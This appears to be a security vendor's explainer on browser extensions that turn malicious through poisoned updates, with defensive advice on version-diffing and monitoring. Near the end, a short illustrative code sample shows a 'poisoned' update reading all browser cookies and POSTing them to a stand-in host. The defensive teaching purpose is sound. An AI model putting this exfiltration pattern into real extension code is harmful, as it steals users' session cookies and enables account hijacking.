extuno
How a trusted extension turns malicious after an update
An extension you installed months ago can become hostile overnight without you doing anything. The mechanism is the update channel, and the only reliable defense is comparing each new version against the last.
What does "turns malicious after an update" actually mean?
Most people assume a malicious extension was malicious from day one. The more dangerous case is the opposite: an extension that was genuinely clean when you installed it, passed store review, earned good ratings, and then shipped a poisoned update months later. The code you trusted is replaced silently through the auto-update mechanism that every modern browser and package ecosystem uses to deliver fixes.
This is called update-channel compromise. The extension's identity, its store listing, and its install base all stay the same. Only the payload changes. Because the update arrives through the legitimate channel and is signed with the legitimate publisher's credentials, nothing about the delivery looks suspicious to the browser or to the user. The attacker inherits all the trust the original author built up. See supply-chain attacks for the broader pattern this belongs to.
How does an attacker get control of a trusted extension?
There are a few well-documented routes, and they share one feature: the attacker never needs to write a new extension or trick you into installing anything. They take over the one you already have.
- Maintainer account takeover. Developer store accounts are protected by passwords and, too often, no second factor. A phished or reused credential lets an attacker log in and publish an update as the real author.
- Ownership transfer. A popular extension is sold or handed to a new "maintainer" who quietly adds tracking or worse. The listing never changes hands in a way the user can see.
- Compromised build pipeline. The author is honest, but a dependency, build server, or CI token is compromised, so malicious code is injected into the published artifact without the author's knowledge.
- Malicious dependency. The extension pulls in a third-party library that itself shipped a poisoned release, a pattern that overlaps with package security across ecosystems.
The browser extension stores publish account-security guidance precisely because account takeover is the recurring root cause here.
Why doesn't one-time store review catch this?
Store review is a snapshot. It inspects the version submitted at the moment of submission and, if it passes, the extension is trusted. Every subsequent update goes through a much lighter or fully automated check, and even thorough re-review only inspects that one new build in isolation. Nothing in the standard process asks the question that matters most: what changed since the version users already trust?
Attackers know this. A common tactic is to submit a benign version, let it sit and age past review, build a real user base, and only then push the malicious update. Some payloads stay dormant for days or check the date, geography, or whether a debugger is attached before activating, so even a fresh review of the new build can see nothing wrong during the review window. This is exactly the gap static analysis of a single version cannot close on its own.
What does a malicious update typically add?
The changes are remarkably consistent across cases, because the attacker's goals are consistent: collect data, maintain control, and stay hidden. A version-over-version diff usually surfaces one or more of the following appearing for the first time.
- A new exfiltration endpoint. A fresh domain or webhook that the previous version never contacted, used to send cookies, session tokens, browsing history, or form data off the machine. Confirming where data actually goes is the job of the dynamic sandbox.
- A new dangerous permission. An escalation to broad host access, cookie reading, scripting, or network interception, often hidden in optional permissions so it draws less attention.
- Obfuscation. Code that was readable before is suddenly packed, encoded, or run through an obfuscator, which is itself a strong signal because honest maintainers rarely obfuscate a working extension on a routine update.
- Remote code loading. New logic that fetches instructions or scripts from a server at runtime and evaluates them, turning the extension into a delivery vehicle whose real behavior lives off-device and can change at any time.
- Hardcoded secrets or credentials introduced by a sloppy build, which our secret leak detection flags as a side effect of the same diff.
How does version-diffing catch the poisoned update?
The defense maps directly onto the attack. If the threat is "a trusted thing changed," the detection is "compare every version against the one before it." Version-diff detection archives each release of an extension and analyzes the delta between consecutive versions rather than judging any single build in isolation.
The signal that matters is band escalation: a benign version followed by an update whose findings jump to dangerous. New exfiltration hosts, newly requested permissions, freshly introduced obfuscation, and new remote-code paths all show up as deltas that simply did not exist before. A benign update that only fixes a bug produces a quiet diff; a poisoned one lights up. Because the comparison is against the same extension's own history, the false-positive rate stays low, which matters when you are watching thousands of versions. The same delta logic applies to npm and PyPI releases, where update-channel compromise looks nearly identical.
Why does continuous monitoring matter, not just install-time scanning?
Scanning an extension once, at install, is the same trap as one-time store review. The whole point of update-channel compromise is that the dangerous version arrives later. A defense that only runs at install time will pass the clean build you installed and never look again.
Continuous monitoring closes that loop. Extensions on a watchlist are re-checked on a schedule, and every newly published version is acquired, diffed against the previous one, and scored automatically. When an update escalates, an alert fires with the specific evidence: which host appeared, which permission was added, which file was obfuscated. This turns "a trusted extension turned malicious" from a post-incident discovery into a same-day signal. You can browse confirmed bad releases in the malicious database, and read how the pipeline runs end to end in our methodology.
What can developers and security teams do about it?
Defense splits cleanly between the people who publish extensions and the people who deploy them.
- If you publish: enable a second factor on every developer store account, lock down build pipelines and CI tokens, pin and review dependencies, and treat your publishing credentials as the crown jewels they are. Account takeover is the most common entry point, so account hardening is the highest-leverage fix.
- If you deploy: do not trust install-time approval as a permanent verdict. Maintain an inventory of what is installed, re-scan on every update, and watch for permission escalation and new network destinations. Treat an out-of-store update URL or a sudden obfuscation change as a reason to investigate, not ignore.
For the full picture across browsers and package registries, see supply-chain security and the detection rules that encode these signals.
// v3.1.0 (trusted, benign)
chrome.cookies.getAll({}, (c) => cache(c));
// v3.2.0 (poisoned update) - NEW network destination
chrome.cookies.getAll({}, (c) =>
fetch("https://cdn-metrics.example/collect", {
method: "POST", body: JSON.stringify(c)
})
);Frequently asked questions
Can an extension change after I install it without asking me?
Yes. Browsers auto-update extensions in the background through the publisher's update channel. You are not prompted to approve each new version, so a poisoned update can replace trusted code silently while the listing, name, and icon stay the same.
How is this different from just downloading a malicious extension?
A malicious extension is bad from the start and has to win your trust first. Update-channel compromise inverts that: the extension was genuinely clean, earned trust and an install base, and only turned hostile through a later update pushed by an attacker who took over the publisher's account or build pipeline.
Why does store review miss poisoned updates?
Store review judges one submitted build in isolation and updates get lighter or automated checks. Nothing in the standard flow compares a new version against the version users already trust, which is the exact comparison needed to spot a malicious change.
What is the single most reliable signal of a poisoned update?
Band escalation in a version diff: the previous version scored benign and the new one suddenly contains a new exfiltration host, a new dangerous permission, fresh obfuscation, or remote code loading. Comparing against the extension's own history keeps this signal precise.
Does this only affect browser extensions?
No. The same update-channel and account-takeover pattern hits npm, PyPI, and other package registries, plus IDE and editor plugins. Any artifact delivered through a trusted auto-update channel can be poisoned the same way, which is why version-diffing applies across ecosystems.